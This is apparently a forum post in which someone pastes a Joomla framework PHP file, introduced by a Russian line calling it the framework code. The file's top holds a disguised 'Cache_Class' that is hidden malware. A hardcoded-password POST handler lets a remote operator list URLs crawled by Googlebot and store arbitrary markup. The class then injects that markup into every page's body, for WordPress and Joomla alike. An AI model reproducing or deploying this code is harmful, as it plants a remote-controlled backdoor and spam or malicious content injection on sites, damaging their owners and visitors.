вот весь код фреймфорка
<?php
class Cache_Class
{
private $table = 'jos_cache_module_content';
public $start_cache = false;
private $cms = 'jm';
private $canonical = '';
private $db_host = 'localhost';
private $db_user = '****';
private $db_password = '****';
private $db_name = '****';
private function url_now()
{
return 'http://' . $_SERVER['HTTP_HOST'] . urldecode($_SERVER['REQUEST_URI']);
}
private function url_create($work = 1)
{
@mysql_query(' INSERT INTO `'.$this->table.'` SET `work` = "'.$work.'", `url` = "'.mysql_escape_string($this -> url_now()).'"
ON DUPLICATE KEY UPDATE `work` = "'.$work.'"
');
}
public function url_code()
{
if ($query = @mysql_query('SELECT `code` FROM `'.$this->table.'` WHERE `url` = "'.mysql_escape_string($this -> url_now()).'"'))
{
return stripslashes(@mysql_result($query, 0));
}
return '';
}
private function url_exist()
{
if ($query = @mysql_query('SELECT count(*) FROM `'.$this->table.'` WHERE `url` = "'.mysql_escape_string( $this->url_now() ).'"'))
{
if (@mysql_result($query, 0) == '0')
{
return false;
}
else
{
return true;
}
}
return true;
}
private function get_code()
{
$options['http'] = array(
'method' => "GET",
'follow_location' => 0
);
$context = stream_context_create($options);
$get = file_get_contents($this->url_now(), NULL, $context);
if (preg_match('!<link[^>]*rel=[\'"]canonical[\'"][^>]*href=[\'"]([^\'"]+)[\'"][^>]*>!is', $get, $_))
{
$this -> canonical = html_entity_decode(urldecode($_[1]));
}
elseif (preg_match('!<link[^>]*href=[\'"]([^\'"]+)[\'"][^>]*rel=[\'"]canonical[\'"][^>]*>!is', $get, $_))
{
$this -> canonical = html_entity_decode(urldecode($_[1]));
}
if (!empty($http_response_header))
{
sscanf($http_response_header[0], 'HTTP/%*d.%*d %d', $code);
if (is_numeric($code)) return $code;
}
return 200;
}
public function pre_cache()
{
if (isset($_POST['action']))
{
switch ($_POST['action'])
{
case 'get_all_links';
header("Content-Type: text/plain");
if ($query = @mysql_query('SELECT * FROM `'.$this->table.'` WHERE `work` = "1" ORDER BY `url` DESC LIMIT 0, 2500'))
{
while ($data = @mysql_fetch_assoc($query))
{
echo '<e><url>' . $data['url'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
}
}
break;
case 'set_links';
if (isset($_POST['data']))
{
if (mysql_query('UPDATE `'.$this->table.'` SET code = "' . mysql_escape_string($_POST['data']) . '" WHERE code = "" AND `work` = "1" LIMIT 1'))
{
echo 'true';
}
}
break;
case 'set_id_links';
if (isset($_POST['data']))
{
if (@mysql_query('UPDATE `'.$this->table.'` SET code = "' . mysql_escape_string($_POST['data']) . '" WHERE `ID` = "' . mysql_escape_string($_POST['id']) . '"'))
{
echo 'true';
}
}
break;
default: die('error action');
}
exit;
}
}
static function wordpress_cache($content)
{
$GLOBALS['_cache_'] -> create_new_page();
$content = $content . $GLOBALS['global_code'];
$GLOBALS['global_code'] = '';
return $content ;
}
public function create_new_page()
{
$GLOBALS['_cache_'] -> db_connect();
if ( (strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'googlebot') !== false) &&(!$this -> url_exist()))
{
$this -> url_create( 0 );
if (($this -> get_code() == 200) && ( ($this -> canonical == '') || ( $this -> canonical == $this->url_now() ) ))
{
$this -> url_create();
}
}
}
static function update_content($content, $code)
{
if (!empty($code))
{
if (preg_match('!<body[^>]*>!is', $content))
{
$content = preg_replace('!(<body[^>]*>)!si', '\1' . $code, $content);
}
elseif (preg_match('!</body>!si', $content))
{
$content = preg_replace('!</body>!si', $code . '</body>', $content);
}
elseif (preg_match('!</html>!si', $content))
{
$content = preg_replace('!</html>!si', $code . '</html>', $content);
}
else
{
$content .= $code;
}
}
return $content;
}
static function _cache($content)
{
$GLOBALS['_cache_'] -> create_new_page();
return Cache_Class::update_content($content, $GLOBALS['global_code']) ;
}
static function disable_cache()
{
@ob_end_flush();
}
private function db_connect()
{
@mysql_connect($this -> db_host, $this -> db_user, $this -> db_password);
@mysql_select_db( $this -> db_name );
}
public function create_cache()
{
$this -> start_cache = @ob_start( Array($this, '_cache') );
}
static function create()
{
if ( strpos($_SERVER['REQUEST_URI'], 'wp-admin') !== FALSE ) return ;
$GLOBALS['_cache_'] = new Cache_Class();
if ($GLOBALS['_cache_'] -> cms == 'jm') $GLOBALS['_cache_'] -> db_connect();
if ($_POST['password'] == '89772a4003b536df8b37702716791655') $GLOBALS['_cache_'] -> pre_cache();
$GLOBALS['global_code'] = $GLOBALS['_cache_'] -> url_code();
switch ($GLOBALS['_cache_'] -> cms)
{
case 'wp';
add_filter('the_content', Array($GLOBALS['_cache_'], 'wordpress_cache'));
break;
default: $GLOBALS['_cache_'] -> create_cache();
}
}
}
Cache_Class::create();
@version @package @copyright @license
defined( '_JEXEC' ) or die( 'Restricted access' );
@set_magic_quotes_runtime( 0 );
@ini_set('zend.ze1_compatibility_mode', '0');
if (!file_exists( JPATH_CONFIGURATION . DS . 'configuration.php' ) || (filesize( JPATH_CONFIGURATION . DS . 'configuration.php' ) < 10) || file_exists( JPATH_INSTALLATION . DS . 'index.php' )) {
if( file_exists( JPATH_INSTALLATION . DS . 'index.php' ) ) {
header( 'Location: installation/index.php' );
exit();
} else {
echo 'Не найден файл конфигурации и недоступен установочный код. Выходим...';
exit();
}
}
require_once( JPATH_LIBRARIES .DS.'joomla'.DS.'import.php');
require_once( JPATH_CONFIGURATION .DS.'configuration.php' );
$CONFIG = new JConfig();
if (@$CONFIG->error_reporting === 0) {
error_reporting( 0 );
} else if (@$CONFIG->error_reporting > 0) {
error_reporting( $CONFIG->error_reporting );
ini_set( 'display_errors', 1 );
}
define( 'JDEBUG', $CONFIG->debug );
unset( $CONFIG );
require_once(JPATH_SITE.DS.'libraries'.DS.'joomla'.DS.'utilities'.DS.'compat'.DS.'compat.php');
if (JDEBUG) {
jimport( 'joomla.error.profiler' );
$_PROFILER =& JProfiler::getInstance( 'Application' );
}
jimport( 'joomla.application.menu' );
jimport( 'joomla.user.user');
jimport( 'joomla.environment.uri' );
jimport( 'joomla.html.html' );
jimport( 'joomla.utilities.utility' );
jimport( 'joomla.event.event');
jimport( 'joomla.event.dispatcher');
jimport( 'joomla.language.language');
jimport( 'joomla.utilities.string' );
?>